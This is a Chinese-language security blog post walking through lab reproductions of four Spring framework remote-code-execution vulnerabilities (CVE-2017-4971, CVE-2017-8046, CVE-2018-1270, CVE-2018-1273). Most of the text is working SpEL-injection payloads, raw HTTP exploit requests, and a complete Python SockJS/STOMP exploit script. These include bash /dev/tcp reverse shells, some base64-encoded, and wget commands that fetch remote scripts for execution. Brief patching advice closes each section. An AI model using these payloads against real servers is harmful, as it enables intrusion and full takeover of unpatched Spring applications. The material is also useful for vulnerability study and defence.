【网络安全】Spring框架漏洞总结(二)

1,299 阅读6分钟

安全防护

1.使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel这个视图。 2.使用2.0.x版本的用户升级到2.0.10以及更高的版本

因为对java不是很熟,所以没有对底层原理进行分析

2.Spring Web Flow框架远程代码执行(CVE-2017-4971)

漏洞简介

Spring Web Flow是Spring的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响版本

Spring WebFlow 2.4.0 - 2.4.4

触发条件

  1. MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值)

  2. flow view对象中设置BinderConfiguration对象为空

漏洞复现

开启漏洞

image.png

image.png

点击login

image.png

可以看见这里有很多默认的用户名密码,随便选一组登录系统

image.png

然后访问id为1的酒店地址:

http://192.168.173.144:8080/hotels/1

image.png

点击预订按钮”Book Hotel",填写相关信息后点击“ Process”(从这一步,其实WebFlow就正式开始了)︰

image.png

随便输入一些内容后,我们点击Proceed然后会跳转到Confirm页面(Credit Card为16位):

image.png

点击confirm时进行抓包

image.png

image.png

反弹shell的poc:

原POC:
&_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.173.133/1234 0>&1")).start()=vulhub

URL编码后
&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.173.133/1234 0>%261")).start()=vulhub

image.png

exp扩展

1、向里面写入文件

&_T(java.lang.Runtime).getRuntime().exec("touch /tmp/zcc")

image.png

image.png

2、使用wget下载远程bash脚本

&_T(java.lang.Runtime).getRuntime().exec("/usr/bin/wget -qO /tmp/shell http://x.x.x.x:xxxx/shell")

3、执行上一步下载的脚本

&_T(java.lang.Runtime).getRuntime().exec("/bin/bash /tmp/shell")

安全防护

官方已经发布了新版本,请受影响的用户及时更新升级至最新的版本来防护该漏洞。官方同时建议用户应该更改数据绑定的默认设置来确保提交的表单信息符合要求来规避类似恶意行为。参考链接:

https://pivotal.io/security/cve-2017-4971

对于这个漏洞的底层分析文章,大家可以看看这篇:paper.seebug.org/322/

3.Spring Data Rest远程命令执行命令(CVE-2017-8046)

漏洞简介

Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码。

影响版本

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3

漏洞验证

开启漏洞环境:

image.png

image.png

看到 json格式的返回值,说明这是一个 Restful风格的API服务器。

访问如下url,如果有下面回显,则说明存在该漏洞:

http://192.168.173.144:8080/customers/1

image.png

漏洞复现

bp抓包,并且使用PATCH请求来修改:

image.png

创建文件touch /tmp/zcc的poc,需要对其进行十进制编码:

",".join(map(str, (map(ord,"touch /tmp/zcc"))))

'116,111,117,99,104,32,47,116,109,112,47,122,99,99'

image.png

将该编码写入poc,放入请求包,注意json格式的poc上面留一个空行,Content-Type: 为application/json-patch+json

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 201

[
	{ "op": "replace", 
	  "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,122,99,99}))/lastname",
	  "value": "vulhub" 
	}
]

image.png

成功写入:

image.png

反弹shell的poc,先进行base64编码:

bash -i >& /dev/tcp/192.168.173.1234/8888 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,51,77,121,52,120,77,122,77,118,77,84,73,122,78,67,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

image.png

image.png

写入poc,成功反弹。

安全防护

升级到以下最新版本:

  • Spring Data REST 2.5.12, 2.6.7, 3.0 RC3
  • Spring Boot 2.0.0.M4
  • Spring Data release train Kay-RC3

对于该漏洞底层原理分析的文章可以参考这一篇:blog.spoock.com/2018/05/22/…

4.Spring Messaging远程命令执行突破(CVE-2018-1270)

漏洞简介

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。

影响版本

Spring Framework 5.0 - 5.0.5
Spring Framework 4.3 - 4.3.15
已不支持的旧版本仍然受影响

漏洞验证

开启漏洞

image.png

image.png

访问该页面:

http://192.168.173.144:8080/gs-guide-websocket

image.png

漏洞复现

对反弹shell的命令base64编码:

bash -i >& /dev/tcp/192.168.173.133/1234 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

创建exp.py,自行修改ip和命令语句:

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))

class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)

    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))

        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()

sockjs = SockJS('http://192.168.173.144:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

image.png

image.png

成功反弹。

安全防护

1.请升级Spring框架到最新版本(5.0.5、4.3.15及以上版本);

2.如果你在用 SpringBoot,请升级到最新版本(2.0.1及以上版本);

对于底层原理进行分析的文章可以参考这一篇:paper.seebug.org/562/

5.Spring Data Commons远程命令执行漏洞(CVE-2018-1273)

漏洞简介

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

影响版本

Spring Data Commons 1.131.13.10 (Ingalls SR10)
Spring Data REST 2.62.6.10(Ingalls SR10)
Spring Data Commons 2.02.0.5 (Kay SR5)
Spring Data REST 3.03.0.5(Kay SR5)
官方已经不支持的旧版本

漏洞验证

启动漏洞

image.png

image.png

漏洞复现

访问该url,bp抓包

http://192.168.173.144:8080/users

image.png

image.png

加上poc的请求包如下:

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.173.144:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Origin: http://192.168.173.144:8080
Connection: close
Referer: http://192.168.173.144:8080/users
Cookie: JSESSIONID=F773DEBD35D866E11D6753373652513C
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=

image.png

image.png

成功写入。

反弹shell:

写一个shell.sh文件,开启http服务:

image.png

image.png

下载执行sh脚本:

/usr/bin/wget -qO /tmp/shell.sh http://192.168.173.131/shell.sh

image.png

image.png

image.png

执行shell.sh

/bin/bash /tmp/shell.sh

image.png

成功反弹。

安全防护

  1. 受影响版本的用户应该应用以下缓解措施:
  • 2.0.x用户应该升级到2.0.6

  • 1.13.x用户应该升级到1.13.11

  • 旧版本应升级到受支持的分支

已解决此问题的发布版本包括:

  • Spring Data REST 2.6.11(Ingalls SR11)

  • Spring Data REST 3.0.6(Kay SR6)

  • Spring Boot 1.5.11

  • Spring Boot 2.0.1

  1. 使用Spring Security提供的身份验证和授权,限定特定访问。